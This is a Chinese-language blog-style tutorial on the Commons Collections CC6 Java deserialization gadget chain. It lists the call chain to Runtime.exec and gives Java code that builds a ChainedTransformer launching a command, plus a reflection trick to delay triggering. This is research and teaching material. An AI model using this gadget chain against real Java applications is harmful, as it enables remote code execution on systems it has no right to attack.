# 前言
Java 8u71 以后,sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑发生变化,导致 cc1 的链子在 8u71 之后无法使用。
所以 cc6 就是解决高版本的利用问题,依然是从上下文对 LazyMap#get
的调用
# 调用链
1 2 3 4 5 6 7 8 9 10 11 12
| java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec()
|
在 TiedMapEntry
的 hashcode()
下调用 getkey()
的 getvalue()
1 2 3 4 5
| public int hashCode() { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
|
1 2 3
| public Object getValue() { return map.get(key); }
|
这里的 key
如果传入 LazyMap
,就回到了 CC1,后面的就都一样了
这里其实理解了 CC5+URLDNS 就可以解决 CC6 的流程
从原作者的流程中可以看到链子的入口就是在 hashMap
处
所以前面的流程就是
1
| HashSet.readObject()->HashMap.put()->HashMap.hash()->TiedMapEntry.hashCode()->TiedMapEntry.getValue()->LazyMap.get()
|
看到入口其实就能想到 URLDNS
所以这一段的代码写下来就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| package com.ki10Moc;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap; import java.util.Map;
public class test1 { public static void main(String[] args) throws Exception { org.apache.commons.collections.Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Class.forName("java.lang.Runtime")), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map map = LazyMap.decorate(innerMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(map, "ki10Moc"); HashMap finalmap = new HashMap(); finalmap.put(tiedMapEntry, "value");
} }
|
这里有点小问题,就是 debug 的时候会直接弹出计算器
原因是展示对象集合,IDEA 会自动调用 toString()
方法,可以在设置中关闭
还有个问题…
在 Map,put()
的时候为了防止直接触发 RCE
这里包装到 map
的参数 chainedTransformer
可以写成其他的
在 LazyMap.decorate
的 factory 参数可以写成 new ConstantTransformer("xxx")
或 new ConstantTransformer(1)
后面再通过反射调用,修改 factiry
的值为 chainedTransformer
即
1 2 3 4
| Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMapClass, chainedTransformer);
|